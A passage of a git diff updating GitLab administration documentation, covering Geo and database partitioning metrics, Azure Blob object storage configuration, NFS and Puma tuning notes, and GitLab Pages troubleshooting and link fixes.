`geo_wikis_verified` | Gauge | 10.7 | Number of wikis verified on secondary | `url` | +| `geo_wikis_verification_failed` | Gauge | 10.7 | Number of wikis failed to verify on secondary | `url` | +| `geo_wikis_checksum_mismatch` | Gauge | 10.7 | Number of wikis that checksum mismatch on secondary | `url` | +| `geo_repositories_checked` | Gauge | 11.1 | Number of repositories that have been checked via `git fsck` | `url` | +| `geo_repositories_checked_failed` | Gauge | 11.1 | Number of repositories that have a failure from `git fsck` | `url` | +| `geo_repositories_retrying_verification` | Gauge | 11.2 | Number of repositories verification failures that Geo is actively trying to correct on secondary | `url` | +| `geo_wikis_retrying_verification` | Gauge | 11.2 | Number of wikis verification failures that Geo is actively trying to correct on secondary | `url` | +| `geo_package_files` | Gauge | 13.0 | Number of package files on primary | `url` | +| `geo_package_files_checksummed` | Gauge | 13.0 | Number of package files checksummed on primary | `url` | +| `geo_package_files_checksum_failed` | Gauge | 13.0 | Number of package files failed to calculate the checksum on primary | `url` | +| `geo_package_files_synced` | Gauge | 13.3 | Number of syncable package files synced on secondary | `url` | +| `geo_package_files_failed` | Gauge | 13.3 | Number of syncable package files failed to sync on secondary | `url` | +| `geo_package_files_registry` | Gauge | 13.3 | Number of package files in the registry | `url` | +| `geo_terraform_states` | Gauge | 13.3 | Number of terraform states on primary | `url` | +| `geo_terraform_states_checksummed` | Gauge | 13.3 | Number of terraform states checksummed on primary | `url` | +| `geo_terraform_states_checksum_failed` | Gauge | 13.3 | Number of terraform states failed to calculate the checksum on primary | `url` | +| `geo_terraform_states_synced` | Gauge | 13.3 | Number of syncable terraform states synced on secondary | `url` | +| `geo_terraform_states_failed` | Gauge | 13.3 | Number of syncable terraform states failed to sync on secondary | `url` | +| `geo_terraform_states_registry` | Gauge | 13.3 | Number of terraform states in the registry | `url` | | `global_search_bulk_cron_queue_size` | Gauge | 12.10 | Number of database records waiting to be synchronized to Elasticsearch | | | `global_search_awaiting_indexing_queue_size` | Gauge | 13.2 | Number of database updates waiting to be synchronized to Elasticsearch while indexing is paused | | -| `package_files_count` | Gauge | 13.0 | Number of package files on primary | `url` | -| `package_files_checksummed_count` | Gauge | 13.0 | Number of package files checksummed on primary | `url` | -| `package_files_checksum_failed_count` | Gauge | 13.0 | Number of package files failed to calculate the checksum on primary +| `geo_merge_request_diffs` | Gauge | 13.4 | Number of merge request diffs on primary | `url` | +| `geo_merge_request_diffs_checksummed` | Gauge | 13.4 | Number of merge request diffs checksummed on primary | `url` | +| `geo_merge_request_diffs_checksum_failed` | Gauge | 13.4 | Number of merge request diffs failed to calculate the checksum on primary | `url` | +| `geo_merge_request_diffs_synced` | Gauge | 13.4 | Number of syncable merge request diffs synced on secondary | `url` | +| `geo_merge_request_diffs_failed` | Gauge | 13.4 | Number of syncable merge request diffs failed to sync on secondary | `url` | +| `geo_merge_request_diffs_registry` | Gauge | 13.4 | Number of merge request diffs in the registry | `url` | +| `geo_snippet_repositories` | Gauge | 13.4 | Number of snippets on primary | `url` | +| `geo_snippet_repositories_checksummed` | Gauge | 13.4 | Number of snippets checksummed on primary | `url` | +| `geo_snippet_repositories_checksum_failed` | Gauge | 13.4 | Number of snippets failed to calculate the checksum on primary | `url` | +| `geo_snippet_repositories_synced` | Gauge | 13.4 | Number of syncable snippets synced on secondary | `url` | +| `geo_snippet_repositories_failed` | Gauge | 13.4 | Number of syncable snippets failed on secondary | `url` | +| `geo_snippet_repositories_registry` | Gauge | 13.4 | Number of syncable snippets in the registry | `url` | ## Database load balancing metrics **(PREMIUM ONLY)** @@ -185,6 +213,15 @@ The following metrics are available: |:--------------------------------- |:--------- |:------------------------------------------------------------- |:-------------------------------------- | | `db_load_balancing_hosts` | Gauge | [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/13630) | Current number of load balancing hosts | +## Database partitioning metrics **(PREMIUM ONLY)** + +The following metrics are available: + +| Metric | Type | Since | Description | +|:--------------------------------- |:--------- |:------------------------------------------------------------- |:----------------------------------------------------------------- | +| `db_partitions_present` | Gauge | [13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/227353) | Number of database partitions present | +| `db_partitions_missing` | Gauge | [13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/227353) | Number of database partitions currently expected, but not present | + ## Connection pool metrics These metrics record the status of the database diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md index bae6bd0dd6c..b54f05ad536 100644 --- a/doc/administration/nfs.md +++ b/doc/administration/nfs.md @@ -31,10 +31,10 @@ bug](https://bugzilla.redhat.com/show_bug.cgi?id=1783554) that causes following GitLab versions include a fix to work properly with that kernel version: -1. [12.10.12](https://about.gitlab.com/releases/2020/06/25/gitlab-12-10-12-released/) -1. [13.0.7](https://about.gitlab.com/releases/2020/06/25/gitlab-13-0-7-released/) -1. [13.1.1](https://about.gitlab.com/releases/2020/06/24/gitlab-13-1-1-released/) -1. 13.2 and up +- [12.10.12](https://about.gitlab.com/releases/2020/06/25/gitlab-12-10-12-released/) +- [13.0.7](https://about.gitlab.com/releases/2020/06/25/gitlab-13-0-7-released/) +- [13.1.1](https://about.gitlab.com/releases/2020/06/24/gitlab-13-1-1-released/) +- 13.2 and up If you are using that kernel version, be sure to upgrade GitLab to avoid errors. @@ -127,7 +127,9 @@ administrators to keep NFS server delegation disabled. ### Improving NFS performance with GitLab -#### Improving NFS performance with Unicorn +NFS performance with GitLab can in some cases be improved with +[direct Git access](gitaly/index.md#direct-access-to-git-in-gitlab) using +[Rugged](https://github.com/libgit2/rugged). NOTE: **Note:** From GitLab 12.1, it will automatically be detected if Rugged can and should be used per storage. @@ -138,18 +140,16 @@ If you previously enabled Rugged using the feature flag, you will need to unset sudo gitlab-rake gitlab:features:unset_rugged ``` -If the Rugged feature flag is explicitly set to either true or false, GitLab will use the value explicitly set. +If the Rugged feature flag is explicitly set to either `true` or `false`, GitLab will use the value explicitly set. #### Improving NFS performance with Puma NOTE: **Note:** -From GitLab 12.7, Rugged auto-detection is disabled if Puma thread count is greater than 1. +From GitLab 12.7, Rugged is not automatically enabled if Puma thread count is greater than `1`. -If you want to use Rugged with Puma, it is recommended to [set Puma thread count to 1](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings). +If you want to use Rugged with Puma, [set Puma thread count to `1`](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings). -If you want to use Rugged with Puma thread count more than 1, Rugged can be enabled using the [feature flag](../development/gitaly.md#legacy-rugged-code) - -If the Rugged feature flag is explicitly set to either true or false, GitLab will use the value explicitly set. +If you want to use Rugged with Puma thread count more than `1`, Rugged can be enabled using the [feature flag](../development/gitaly.md#legacy-rugged-code). ## NFS client @@ -173,6 +173,9 @@ Here is an example snippet to add to `/etc/fstab`: 10.1.0.1:/var/opt/gitlab/git-data /var/opt/gitlab/git-data nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2 ``` +You can view information and options set for each of the mounted NFS file +systems by running `nfsstat -m` and `cat /etc/fstab`. + Note there are several options that you should consider using: | Setting | Description | @@ -271,9 +274,6 @@ Using bind mounts will require manually making sure the data directories are empty before attempting a restore. Read more about the [restore prerequisites](../raketasks/backup_restore.md). -You can view information and options set for each of the mounted NFS file -systems by running `nfsstat -m` and `cat /etc/fstab`. - ### Multiple NFS mounts When using default Omnibus configuration you will need to share 4 data locations diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md index 49716883310..39365ffe404 100644 --- a/doc/administration/object_storage.md +++ b/doc/administration/object_storage.md @@ -18,6 +18,7 @@ GitLab has been tested on a number of object storage providers: - [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces/) - [Oracle Cloud Infrastructure](https://docs.cloud.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) - [Openstack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) +- [Azure Blob storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) - On-premises hardware and appliances from various storage vendors. - MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. @@ -50,12 +51,17 @@ Using the consolidated object storage configuration has a number of advantages: - It enables the use of [encrypted S3 buckets](#encrypted-s3-buckets). - It [uploads files to S3 with proper `Content-MD5` headers](https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/222). -NOTE: **Note:** -Only AWS S3-compatible providers and Google are -supported at the moment since [direct upload -mode](../development/uploads.md#direct-upload) must be used. Background -upload is not supported in this mode. We recommend direct upload mode because -it does not require a shared folder, and [this setting may become the default](https://gitlab.com/gitlab-org/gitlab/-/issues/27331). +Because [direct upload mode](../development/uploads.md#direct-upload) +must be enabled, only the following providers can be used: + +- [Amazon S3-compatible providers](#s3-compatible-connection-settings) +- [Google Cloud Storage](#google-cloud-storage-gcs) +- [Azure Blob storage](#azure-blob-storage) + +Background upload is not supported with the consolidated object storage +configuration. We recommend enabling direct upload mode because it does +not require a shared folder, and [this setting may become the +default](https://gitlab.com/gitlab-org/gitlab/-/issues/27331). NOTE: **Note:** Consolidated object storage configuration cannot be used for @@ -112,7 +118,7 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details. AWS access key and secret access key/value pairs. For example: ```ruby - gitlab_rails['object_store_connection'] = { + gitlab_rails['object_store']['connection'] = { 'provider' => 'AWS', 'region' => '<eu-central-1>', 'use_iam_profile' => true @@ -158,7 +164,6 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details. ```toml [object_storage] - enabled = true provider = "AWS" [object_storage.s3] @@ -272,6 +277,61 @@ gitlab_rails['object_store']['connection'] = { } ``` +#### Azure Blob storage + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25877) in GitLab 13.4. + +Although Azure uses the word `container` to denote a collection of +blobs, GitLab standardizes on the term `bucket`. Be sure to configure +Azure container names in the `bucket` settings. + +The following are the valid connection parameters for Azure. Read the +[Azure Blob storage documentation](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) +to learn more. + +| Setting | Description | Example | +|---------|-------------|---------| +| `provider` | Provider name | `AzureRM` | +| `azure_storage_account_name` | Name of the Azure Blob Storage account used to access the storage | `azuretest` | +| `azure_storage_access_key` | Storage account access key used to access the container. This is typically a secret, 512-bit encryption key encoded in base64. | `czV2OHkvQj9FKEgrTWJRZVRoV21ZcTN0Nnc5eiRDJkYpSkBOY1JmVWpYbjJy\nNHU3eCFBJUQqRy1LYVBkU2dWaw==\n` | +| `azure_storage_domain` | Domain name used to contact the Azure Blob Storage API (optional). Defaults to `blob.core.windows.net`. Set this if you are using Azure China, Azure Germany, Azure US Government, or some other custom Azure domain. | `blob.core.windows.net` | + +##### Azure example (consolidated form) + +For Omnibus installations, this is an example of the `connection` setting: + +```ruby +gitlab_rails['object_store']['connection'] = { + 'provider' => 'AzureRM', + 'azure_storage_account_name' => '<AZURE STORAGE ACCOUNT NAME>', + 'azure_storage_access_key' => '<AZURE STORAGE ACCESS KEY>', + 'azure_storage_domain' => '<AZURE STORAGE DOMAIN>', +} +``` + +###### Azure Workhorse settings (source installs only) + +NOTE: **Note:** +For source installations, Workhorse needs to be configured with the +Azure credentials as well. This is not needed in Omnibus installs because +the Workhorse settings are populated from the settings above. + +1. Edit `/home/git/gitlab-workhorse/config.toml` and add or amend the following lines: + + ```toml + [object_storage] + provider = "AzureRM" + + [object_storage.azurerm] + azure_storage_account_name = "<AZURE STORAGE ACCOUNT NAME>" + azure_storage_access_key = "<AZURE STORAGE ACCESS KEY>" + ``` + +If you are using a custom Azure storage domain, note that +`azure_storage_domain` does **not** have to be set in the Workhorse +configuration. This information is exchanged in an API call between +GitLab Rails and Workhorse. + #### OpenStack-compatible connection settings NOTE: **Note:** @@ -279,7 +339,7 @@ This is not compatible with the consolidated object storage form. OpenStack Swift is only supported with the storage-specific form. See the [S3 settings](#s3-compatible-connection-settings) if you want to use the consolidated form. -While OpenStack Swift provides S3 compatibliity, some users may want to use the +While OpenStack Swift provides S3 compatibility, some users may want to use the [Swift API](https://docs.openstack.org/swift/latest/api/object_api_v1_overview.html). Here are the valid connection settings below for the Swift API, provided by [fog-openstack](https://github.com/fog/fog-openstack): @@ -445,15 +505,15 @@ supported by consolidated configuration form, refer to the following guides: | [Backups](../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No| | [Job artifacts](job_artifacts.md#using-object-storage) and [incremental logging](job_logs.md#new-incremental-logging-architecture) | Yes | | [LFS objects](lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes | -| [Uploads](uploads.md#using-object-storage-core-only) | Yes | +| [Uploads](uploads.md#using-object-storage) | Yes | | [Container Registry](packages/container_registry.md#use-object-storage) (optional feature) | No | | [Merge request diffs](merge_request_diffs.md#using-object-storage) | Yes | | [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No | | [Packages](packages/index.md#using-object-storage) (optional feature) **(PREMIUM ONLY)** | Yes | | [Dependency Proxy](packages/dependency_proxy.md#using-object-storage) (optional feature) **(PREMIUM ONLY)** | Yes | | [Pseudonymizer](pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No | -| [Autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | -| [Terraform state files](terraform_state.md#using-object-storage-core-only) | Yes | +| [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | +| [Terraform state files](terraform_state.md#using-object-storage) | Yes | ### Other alternatives to filesystem storage diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md index b874a4257f0..6cd393be330 100644 --- a/doc/administration/operations/fast_ssh_key_lookup.md +++ b/doc/administration/operations/fast_ssh_key_lookup.md @@ -32,10 +32,10 @@ feature for CentOS 6, follow [the instructions on how to build and install a cus By default, GitLab manages an `authorized_keys` file, which contains all the public SSH keys for users allowed to access GitLab. However, to maintain a -single source of truth, [Geo](../geo/replication/index.md) needs to be configured to perform SSH fingerprint +single source of truth, [Geo](../geo/index.md) needs to be configured to perform SSH fingerprint lookups via database lookup. -As part of [setting up Geo](../geo/replication/index.md#setup-instructions), +As part of [setting up Geo](../geo/index.md#setup-instructions), you will be required to follow the steps outlined below for both the primary and secondary nodes, but note that the `Write to "authorized keys" file` checkbox only needs to be unchecked on the primary node since it will be reflected diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md index e7b4bb88faf..f5b09d7a978 100644 --- a/doc/administration/operations/puma.md +++ b/doc/administration/operations/puma.md @@ -1,6 +1,6 @@ # Switching to Puma -As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced [Unicorn](https://yhbt.net/unicorn/). +As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced [Unicorn](https://yhbt.net/unicorn/) as the default web server. From GitLab 13.0, the following run Puma instead of Unicorn unless explicitly configured not to: @@ -36,7 +36,8 @@ For deployments where NFS is used to store Git repository, we allow GitLab to us [Rugged](https://github.com/libgit2/rugged). Rugged usage is automatically enabled if direct Git access -[is available](../gitaly/index.md#how-it-works), unless it is disabled by +[is available](../gitaly/index.md#how-it-works) +and Puma is running single threaded, unless it is disabled by [feature flags](../../development/gitaly.md#legacy-rugged-code). MRI Ruby uses a GVL. This allows MRI Ruby to be multi-threaded, but running at @@ -49,7 +50,7 @@ We are actively working on removing Rugged usage. Even though performance withou is acceptable today, in some cases it might be still beneficial to run with it. Given the caveat of running Rugged with multi-threaded Puma, and acceptable -performance of Gitaly, we are disabling Rugged usage if Puma multi-threaded is +performance of Gitaly, we disable Rugged usage if Puma multi-threaded is used (when Puma is configured to run with more than one thread). This default behavior may not be the optimal configuration in some situations. If Rugged @@ -57,7 +58,6 @@ plays an important role in your deployment, we suggest you benchmark to find the optimal configuration: - The safest option is to start with single-threaded Puma. When working with -Rugged, single-threaded Puma does work the same as Unicorn. - -- To force Rugged auto detect with multi-threaded Puma, you can use [feature -flags](../../development/gitaly.md#legacy-rugged-code). + Rugged, single-threaded Puma works the same as Unicorn. +- To force Rugged to be used with multi-threaded Puma, you can use + [feature flags](../../development/gitaly.md#legacy-rugged-code). diff --git a/doc/administration/operations/sidekiq_memory_killer.md b/doc/administration/operations/sidekiq_memory_killer.md index e829d735c4f..d1ff98a0079 100644 --- a/doc/administration/operations/sidekiq_memory_killer.md +++ b/doc/administration/operations/sidekiq_memory_killer.md @@ -26,8 +26,8 @@ run as a process group leader (e.g., using `chpst -P`). If using Omnibus or the The MemoryKiller is controlled using environment variables. -- `SIDEKIQ_DAEMON_MEMORY_KILLER`: defaults to 0. When set to 1, the MemoryKiller - works in _daemon_ mode. Otherwise, the MemoryKiller works in _legacy_ mode. +- `SIDEKIQ_DAEMON_MEMORY_KILLER`: defaults to 1. When set to 0, the MemoryKiller + works in _legacy_ mode. Otherwise, the MemoryKiller works in _daemon_ mode. In _legacy_ mode, the MemoryKiller checks the Sidekiq process RSS after each job. diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md index 1883f6659e6..74af5c8149b 100644 --- a/doc/administration/packages/container_registry.md +++ b/doc/administration/packages/container_registry.md @@ -750,11 +750,15 @@ U = <user_id> # Get required details / objects user = User.find_by_id(U) project = Project.find_by_id(P) -repo = ContainerRepository.find_by(project_id: P) policy = ContainerExpirationPolicy.find_by(project_id: P) -# Start the tag cleanup -Projects::ContainerRepository::CleanupTagsService.new(project, user, policy.attributes.except("created_at", "updated_at")).execute(repo) +# Loop through each container repository +project.container_repositories.find_each do |repo| + puts repo.attributes + + # Start the tag cleanup + puts Projects::ContainerRepository::CleanupTagsService.new(project, user, policy.attributes.except("created_at", "updated_at")).execute(repo) +end ``` NOTE: **Note:** @@ -988,8 +992,8 @@ thus the error above. While GitLab doesn't support using self-signed certificates with Container Registry out of the box, it is possible to make it work by [instructing the Docker daemon to trust the self-signed certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates), -mounting the Docker daemon and setting `privileged = false` in the Runner's -`config.toml`. Setting `privileged = true` takes precedence over the Docker daemon: +mounting the Docker daemon and setting `privileged = false` in the GitLab Runner +`config.toml` file. Setting `privileged = true` takes precedence over the Docker daemon: ```toml [runners.docker] diff --git a/doc/administration/packages/index.md b/doc/administration/packages/index.md index 3af1f0c933b..1061f3c33db 100644 --- a/doc/administration/packages/index.md +++ b/doc/administration/packages/index.md @@ -109,7 +109,6 @@ We recommend using the [consolidated object storage settings](../object_storage. ```ruby gitlab_rails['packages_enabled'] = true - gitlab_rails['packages_storage_path'] = "/var/opt/gitlab/gitlab-rails/shared/packages" gitlab_rails['packages_object_store_enabled'] = true gitlab_rails['packages_object_store_remote_directory'] = "packages" # The bucket name. gitlab_rails['packages_object_store_direct_upload'] = false # Use Object Storage directly for uploads instead of background uploads if enabled (Default: false). @@ -123,6 +122,8 @@ We recommend using the [consolidated object storage settings](../object_storage. #'region' => 'eu-west-1', #'aws_access_key_id' => 'AWS_ACCESS_KEY_ID', #'aws_secret_access_key' => 'AWS_SECRET_ACCESS_KEY', + ## If an IAM profile is being used with AWS, omit the aws_access_key_id and aws_secret_access_key and uncomment + #'use_iam_profile' => true, ## ## If the provider is other than AWS (an S3-compatible one), uncomment the following ## diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md index 9e2aa602767..3c0030be629 100644 --- a/doc/administration/pages/index.md +++ b/doc/administration/pages/index.md @@ -235,6 +235,7 @@ control over how the Pages daemon runs and serves content in your environment. | `pages_path` | The directory on disk where pages are stored, defaults to `GITLAB-RAILS/shared/pages`. | `pages_nginx[]` | | | `enable` | Include a virtual host `server{}` block for Pages inside NGINX. Needed for NGINX to proxy traffic back to the Pages daemon. Set to `false` if the Pages daemon should directly receive all requests, for example, when using [custom domains](index.md#custom-domains). +| `FF_ENABLE_REDIRECTS` | Feature flag to enable redirects. See the [redirects documentation](../../user/project/pages/redirects.md#enable-or-disable-redirects) for more info. | --- @@ -424,6 +425,10 @@ Authority (CA) in the system certificate store. For Omnibus, this is fixed by [installing a custom CA in Omnibus GitLab](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). +## Enable redirects + +In GitLab Pages, you can [enable the redirects feature](../../user/project/pages/redirects.md#enable-or-disable-redirects) to configure rules to forward one URL to another using HTTP redirects. + ## Activate verbose logging for daemon Verbose logging was [introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2533) in @@ -588,8 +593,9 @@ database encryption. Proceed with caution. 1. On the **GitLab server**, make the following changes to `/etc/gitlab/gitlab.rb`: ```ruby - gitlab_pages['enable'] = false pages_external_url "http://<pages_server_URL>" + gitlab_pages['enable'] = false + gitlab_rails['pages_enabled']=false gitlab_rails['pages_path'] = "/mnt/pages" ``` @@ -622,7 +628,7 @@ For more details see this [blog post](https://about.gitlab.com/blog/2020/08/03/h GitLab Pages can use an API-based configuration. This replaces disk source configuration, which was used prior to GitLab 13.0. Follow these steps to enable it: -1. Add the following to your `/etc/gitlab/gitlab.erb` file: +1. Add the following to your `/etc/gitlab/gitlab.rb` file: ```ruby gitlab_pages['domain_config_source'] = "gitlab" @@ -720,6 +726,24 @@ sudo cp /opt/gitlab/embedded/ssl/certs/cacert.pem /var/opt/gitlab/gitlab-rails/s sudo cp /opt/gitlab/embedded/ssl/certs/cacert.pem /var/opt/gitlab/gitlab-rails/shared/pages/etc/ssl/ca-bundle.pem ``` +### 502 error when connecting to GitLab Pages proxy when server does not listen over IPv6 + +In some cases, NGINX might default to using IPv6 to connect to the GitLab Pages +service even when the server does not listen over IPv6. You can identify when +this is happening if you see something similar to the log entry below in the +`gitlab_pages_error.log`: + +```plaintext +2020/02/24 16:32:05 [error] 112654#0: *4982804 connect() failed (111: Connection refused) while connecting to upstream, client: 123.123.123.123, server: ~^(?<group>.*)\.pages\.example\.com$, request: "GET /-/group/project/-/jobs/1234/artifacts/artifact.txt HTTP/1.1", upstream: "http://[::1]:8090//-/group/project/-/jobs/1234/artifacts/artifact.txt", host: "group.example.com" +``` + +To resolve this, set an explicit IP and port for the GitLab Pages `listen_proxy` setting +to define the explicit address that the GitLab Pages daemon should listen on: + +```ruby +gitlab_pages['listen_proxy'] = '127.0.0.1:8090' +``` + ### 404 error after transferring project to a different group or user If you encounter a `404 Not Found` error a Pages site after transferring a project to diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md index 486bc7a8777..662817e7411 100644 --- a/doc/administration/pages/source.md +++ b/doc/administration/pages/source.md @@ -61,7 +61,7 @@ Before proceeding with the Pages configuration, make sure that: Pages artifacts. 1. (Optional) You have a **wildcard certificate** for the Pages domain if you decide to serve Pages (`*.example.io`) under HTTPS. -1. (Optional but recommended) You have configured and enabled the [Shared Runners](../../ci/runners/README.md) +1. (Optional but recommended) You have configured and enabled the [shared runners](../../ci/runners/README.md) so that your users don't have to bring their own. ### DNS configuration @@ -347,6 +347,10 @@ world. Custom domains and TLS are supported. 1. Restart NGINX 1. [Restart GitLab](../restart_gitlab.md#installations-from-source) +## Enable redirects + +In GitLab Pages, you can [enable the redirects feature](../../user/project/pages/redirects.md#enable-or-disable-redirects) to configure rules to forward one URL to another using HTTP redirects. + ## NGINX caveats NOTE: **Note:** @@ -421,7 +425,7 @@ Pages access control is disabled by default. To enable it: auth-server=<URL of the GitLab instance> ``` -1. Users can now configure it in their [projects' settings](../../user/project/pages/introduction.md#gitlab-pages-access-control-core). +1. Users can now configure it in their [projects' settings](../../user/project/pages/introduction.md#gitlab-pages-access-control). ## Change storage path diff --git a/doc/administration/postgresql/external.md b/doc/administration/postgresql/external.md index e2cfb95ec48..632b68fb014 100644 --- a/doc/administration/postgresql/external.md +++ b/doc/administration/postgresql/external.md @@ -11,8 +11,7 @@ If you use a cloud-managed service, or provide your own PostgreSQL instance: 1. Set up PostgreSQL according to the [database requirements document](../../install/requirements.md#database). -1. Set up a `gitlab` username with a password of your choice. The `gitlab` user - needs privileges to create the `gitlabhq_production` database. +1. Set up a `gitlab` user with a password of your choice, create the `gitlabhq_production` database, and make the user an owner of the database. You can see an example of this setup in the [installation from source documentation](../../install/installation.md#6-database). 1. If you are using a cloud-managed service, you may need to grant additional roles to your `gitlab` user: - Amazon RDS requires the [`rds_superuser`](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.PostgreSQL.CommonDBATasks.html#Appendix.PostgreSQL.CommonDBATasks.Roles) role. diff --git a/doc/administration/raketasks/doctor.md b/doc/administration/raketasks/doctor.md index 2c1b6928663..62d0af70706 100644 --- a/doc/administration/raketasks/doctor.md +++ b/doc/administration/raketasks/doctor.md @@ -33,7 +33,6 @@ bundle exec rake gitlab:doctor:secrets RAILS_ENV=production **Example output** -<!-- vale gitlab.SentenceSpacing = NO --> ```plaintext I, [2020-06-11T17:17:54.951815 #27148] INFO -- : Checking encrypted values in the database I, [2020-06-11T17:18:12.677708 #27148] INFO -- : - ApplicationSetting failures: 0 @@ -45,7 +44,6 @@ I, [2020-06-11T17:18:15.575533 #27148] INFO -- : - ScimOauthAccessToken failure I, [2020-06-11T17:18:15.575678 #27148] INFO -- : Total: 1 row(s) affected I, [2020-06-11T17:18:15.575711 #27148] INFO -- : Done! ``` -<!-- vale gitlab.SentenceSpacing = YES --> ### Verbose mode diff --git a/doc/administration/raketasks/geo.md b/doc/administration/raketasks/geo.md index 71e4f922348..885d19903ed 100644 --- a/doc/administration/raketasks/geo.md +++ b/doc/administration/raketasks/geo.md @@ -1,6 +1,6 @@ # Geo Rake Tasks **(PREMIUM ONLY)** -The following Rake tasks are for [Geo installations](../geo/replication/index.md). +The following Rake tasks are for [Geo installations](../geo/index.md). ## Git housekeeping diff --git a/doc/administration/raketasks/ldap.md b/doc/administration/raketasks/ldap.md index 30bb9828aa0..6d04a786d3a 100644 --- a/doc/administration/raketasks/ldap.md +++ b/doc/administration/raketasks/ldap.md @@ -32,13 +32,13 @@ rake gitlab:ldap:check[50] > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/14735) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.2. -The following task will run a [group sync](../auth/ldap/index.md#group-sync-starter-only) immediately. This is valuable +The following task will run a [group sync](../auth/ldap/index.md#group-sync) immediately. This is valuable when you'd like to update all configured group memberships against LDAP without waiting for the next scheduled group sync to be run. NOTE: **Note:** If you'd like to change the frequency at which a group sync is performed, -[adjust the cron schedule](../auth/ldap/index.md#adjusting-ldap-group-sync-schedule-starter-only) +[adjust the cron schedule](../auth/ldap/index.md#adjusting-ldap-group-sync-schedule) instead. **Omnibus Installation** diff --git a/doc/administration/raketasks/storage.md b/doc/administration/raketasks/storage.md index a97bff83290..896eafeb5f3 100644 --- a/doc/administration/raketasks/storage.md +++ b/doc/administration/raketasks/storage.md @@ -104,13 +104,13 @@ You can monitor the progress in the **Admin Area > Monitoring > Background Jobs* There is a specific queue you can watch to see how long it will take to finish: `hashed_storage:hashed_storage_project_migrate`. -After it reaches zero, you can confirm every project has been migrated by running the commands below. +After it reaches zero, you can confirm every project has been migrated by running the commands above. If you find it necessary, you can run this migration script again to schedule missing projects. Any error or warning will be logged in Sidekiq's log file. NOTE: **Note:** -If [Geo](../geo/replication/index.md) is enabled, each project that is successfully migrated +If [Geo](../geo/index.md) is enabled, each project that is successfully migrated generates an event to replicate the changes on any **secondary** nodes. You only need the `gitlab:storage:migrate_to_hashed` Rake task to migrate your repositories, but we have additional @@ -153,7 +153,7 @@ sudo gitlab-rake gitlab:storage:rollback_to_legacy ID_FROM=50 ID_TO=100 You can monitor the progress in the **Admin Area > Monitoring > Background Jobs** page. On the **Queues** tab, you can watch the `hashed_storage:hashed_storage_project_rollback` queue to see how long the process will take to finish. -After it reaches zero, you can confirm every project has been rolled back by running the commands bellow. +After it reaches zero, you can confirm every project has been rolled back by running the commands above. If some projects weren't rolled back, you can run this rollback script again to schedule further rollbacks. Any error or warning will be logged in Sidekiq's log file. diff --git a/doc/administration/raketasks/uploads/migrate.md b/doc/administration/raketasks/uploads/migrate.md index 8c020e91a15..8d61beea597 100644 --- a/doc/administration/raketasks/uploads/migrate.md +++ b/doc/administration/raketasks/uploads/migrate.md @@ -1,10 +1,13 @@ # Uploads migrate Rake tasks **(CORE ONLY)** -`gitlab:uploads:migrate` migrates uploads between different storage types. +There is a Rake task for migrating uploads between different storage types. + +- Migrate all uploads with [`gitlab:uploads:migrate:all`](#all-in-one-rake-task) or +- To only migrate specific upload types, use [`gitlab:uploads:migrate`](#individual-rake-tasks). ## Migrate to object storage -After [configuring the object storage](../../uploads.md#using-object-storage-core-only) for GitLab's +After [configuring the object storage](../../uploads.md#using-object-storage) for GitLab's uploads, use this task to migrate existing uploads from the local storage to the remote storage. Read more about using [object storage with GitLab](../../object_storage.md). @@ -165,4 +168,4 @@ To migrate uploads from object storage to local storage: ``` After running the Rake task, you can disable object storage by undoing the changes described -in the instructions to [configure object storage](../../uploads.md#using-object-storage-core-only). +in the instructions to [configure object storage](../../uploads.md#using-object-storage). diff --git a/doc/administration/redis/replication_and_failover_external.md b/doc/administration/redis/replication_and_failover_external.md index d530e6a8fd7..ce452d30fc2 100644 --- a/doc/administration/redis/replication_and_failover_external.md +++ b/doc/administration/redis/replication_and_failover_external.md @@ -17,9 +17,8 @@ Omnibus GitLab package. The following are the requirements for providing your own Redis instance: -- Redis version 5.0 or higher is recommended, as this is what ships with - Omnibus GitLab packages starting with GitLab 12.7. -- GitLab 13.0 and later requires Redis version 4.0 or higher. +- Find the minimum Redis version that is required in the + [requirements page](../../install/requirements.md). - Standalone Redis or Redis high availability with Sentinel are supported. Redis Cluster is not supported. - Managed Redis from cloud providers such as AWS ElastiCache will work. If these diff --git a/doc/administration/reference_architectures/10k_users.md 